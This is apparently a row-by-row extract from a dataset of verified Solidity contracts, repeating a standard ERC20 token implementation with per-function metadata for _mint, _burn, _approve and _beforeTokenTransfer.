contract ERC20 is IERC20, IERC20Metadata { mapping (address => uint256) internal _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; /** * @dev Sets the values for {name} and {symbol}. * * The defaut value of {decimals} is 18. To select a different value for * {decimals} you should overload it. * * All two of these values are immutable: they can only be set once during * construction. */ constructor (string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } /** * @dev Returns the name of the token. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless this function is * overridden; * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view virtual override returns (uint8) { return 18; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(msg.sender, recipient, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(msg.sender, spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}. * * Requirements: * * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); uint256 currentAllowance = _allowances[sender][msg.sender]; require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance"); _approve(sender, msg.sender, currentAllowance - amount); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(msg.sender, spender, _allowances[msg.sender][spender] + addedValue); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { uint256 currentAllowance = _allowances[msg.sender][spender]; require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero"); _approve(msg.sender, spender, currentAllowance - subtractedValue); return true; } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer(address sender, address recipient, uint256 amount) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); uint256 senderBalance = _balances[sender]; require(senderBalance >= amount, "ERC20: transfer amount exceeds balance"); _balances[sender] = senderBalance - amount; _balances[recipient] += amount; emit Transfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements: * * - `to` cannot be the zero address. */ function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply += amount; _balances[account] += amount; emit Transfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); uint256 accountBalance = _balances[account]; require(accountBalance >= amount, "ERC20: burn amount exceeds balance"); _balances[account] = accountBalance - amount; _totalSupply -= amount; emit Transfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens. * * This internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be to transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } }
/** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin guidelines: functions revert instead * of returning `false` on failure. This behavior is nonetheless conventional * and does not conflict with the expectations of ERC20 applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. */
NatSpecMultiLine
_mint
function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply += amount; _balances[account] += amount; emit Transfer(address(0), account, amount); }
/** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements: * * - `to` cannot be the zero address. */
NatSpecMultiLine
v0.8.4+commit.c7e474f2
None
ipfs://0c2742d4e7048c7870e37f0bf9830fb6160a93e9e7491c8c62030cde064e4564
{ "func_code_index": [ 6875, 7218 ] }
14,160
Token
ERC20.sol
0xa328b83cb84e1979179723ed5f17158a7cbe63a3
Solidity
ERC20
contract ERC20 is IERC20, IERC20Metadata { mapping (address => uint256) internal _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; /** * @dev Sets the values for {name} and {symbol}. * * The defaut value of {decimals} is 18. To select a different value for * {decimals} you should overload it. * * All two of these values are immutable: they can only be set once during * construction. */ constructor (string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } /** * @dev Returns the name of the token. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless this function is * overridden; * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view virtual override returns (uint8) { return 18; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(msg.sender, recipient, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(msg.sender, spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}. * * Requirements: * * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); uint256 currentAllowance = _allowances[sender][msg.sender]; require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance"); _approve(sender, msg.sender, currentAllowance - amount); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(msg.sender, spender, _allowances[msg.sender][spender] + addedValue); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { uint256 currentAllowance = _allowances[msg.sender][spender]; require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero"); _approve(msg.sender, spender, currentAllowance - subtractedValue); return true; } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer(address sender, address recipient, uint256 amount) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); uint256 senderBalance = _balances[sender]; require(senderBalance >= amount, "ERC20: transfer amount exceeds balance"); _balances[sender] = senderBalance - amount; _balances[recipient] += amount; emit Transfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements: * * - `to` cannot be the zero address. */ function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply += amount; _balances[account] += amount; emit Transfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); uint256 accountBalance = _balances[account]; require(accountBalance >= amount, "ERC20: burn amount exceeds balance"); _balances[account] = accountBalance - amount; _totalSupply -= amount; emit Transfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens. * * This internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be to transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } }
/** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin guidelines: functions revert instead * of returning `false` on failure. This behavior is nonetheless conventional * and does not conflict with the expectations of ERC20 applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. */
NatSpecMultiLine
_burn
function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); uint256 accountBalance = _balances[account]; require(accountBalance >= amount, "ERC20: burn amount exceeds balance"); _balances[account] = accountBalance - amount; _totalSupply -= amount; emit Transfer(account, address(0), amount); }
/** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */
NatSpecMultiLine
v0.8.4+commit.c7e474f2
None
ipfs://0c2742d4e7048c7870e37f0bf9830fb6160a93e9e7491c8c62030cde064e4564
{ "func_code_index": [ 7546, 8045 ] }
14,161
Token
ERC20.sol
0xa328b83cb84e1979179723ed5f17158a7cbe63a3
Solidity
ERC20
contract ERC20 is IERC20, IERC20Metadata { mapping (address => uint256) internal _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; /** * @dev Sets the values for {name} and {symbol}. * * The defaut value of {decimals} is 18. To select a different value for * {decimals} you should overload it. * * All two of these values are immutable: they can only be set once during * construction. */ constructor (string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } /** * @dev Returns the name of the token. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless this function is * overridden; * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view virtual override returns (uint8) { return 18; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(msg.sender, recipient, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(msg.sender, spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}. * * Requirements: * * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); uint256 currentAllowance = _allowances[sender][msg.sender]; require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance"); _approve(sender, msg.sender, currentAllowance - amount); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(msg.sender, spender, _allowances[msg.sender][spender] + addedValue); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { uint256 currentAllowance = _allowances[msg.sender][spender]; require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero"); _approve(msg.sender, spender, currentAllowance - subtractedValue); return true; } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer(address sender, address recipient, uint256 amount) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); uint256 senderBalance = _balances[sender]; require(senderBalance >= amount, "ERC20: transfer amount exceeds balance"); _balances[sender] = senderBalance - amount; _balances[recipient] += amount; emit Transfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements: * * - `to` cannot be the zero address. */ function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply += amount; _balances[account] += amount; emit Transfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); uint256 accountBalance = _balances[account]; require(accountBalance >= amount, "ERC20: burn amount exceeds balance"); _balances[account] = accountBalance - amount; _totalSupply -= amount; emit Transfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens. * * This internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be to transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } }
/** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin guidelines: functions revert instead * of returning `false` on failure. This behavior is nonetheless conventional * and does not conflict with the expectations of ERC20 applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. */
NatSpecMultiLine
_approve
function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); }
/** * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens. * * This internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */
NatSpecMultiLine
v0.8.4+commit.c7e474f2
None
ipfs://0c2742d4e7048c7870e37f0bf9830fb6160a93e9e7491c8c62030cde064e4564
{ "func_code_index": [ 8478, 8829 ] }
14,162
Token
ERC20.sol
0xa328b83cb84e1979179723ed5f17158a7cbe63a3
Solidity
ERC20
contract ERC20 is IERC20, IERC20Metadata { mapping (address => uint256) internal _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; /** * @dev Sets the values for {name} and {symbol}. * * The defaut value of {decimals} is 18. To select a different value for * {decimals} you should overload it. * * All two of these values are immutable: they can only be set once during * construction. */ constructor (string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } /** * @dev Returns the name of the token. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless this function is * overridden; * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view virtual override returns (uint8) { return 18; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(msg.sender, recipient, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(msg.sender, spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}. * * Requirements: * * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); uint256 currentAllowance = _allowances[sender][msg.sender]; require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance"); _approve(sender, msg.sender, currentAllowance - amount); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(msg.sender, spender, _allowances[msg.sender][spender] + addedValue); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { uint256 currentAllowance = _allowances[msg.sender][spender]; require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero"); _approve(msg.sender, spender, currentAllowance - subtractedValue); return true; } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer(address sender, address recipient, uint256 amount) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); uint256 senderBalance = _balances[sender]; require(senderBalance >= amount, "ERC20: transfer amount exceeds balance"); _balances[sender] = senderBalance - amount; _balances[recipient] += amount; emit Transfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements: * * - `to` cannot be the zero address. */ function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply += amount; _balances[account] += amount; emit Transfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); uint256 accountBalance = _balances[account]; require(accountBalance >= amount, "ERC20: burn amount exceeds balance"); _balances[account] = accountBalance - amount; _totalSupply -= amount; emit Transfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens. * * This internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be to transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } }
/** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin guidelines: functions revert instead * of returning `false` on failure. This behavior is nonetheless conventional * and does not conflict with the expectations of ERC20 applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. */
NatSpecMultiLine
_beforeTokenTransfer
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
/** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be to transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */
NatSpecMultiLine
v0.8.4+commit.c7e474f2
None
ipfs://0c2742d4e7048c7870e37f0bf9830fb6160a93e9e7491c8c62030cde064e4564
{ "func_code_index": [ 9427, 9524 ] }
14,163
CyberCosmosWorld
contracts/CCW.sol
0x80b745ada7c13cb420e0a2acbcbffa033a3b5164
Solidity
CyberCosmosWorld
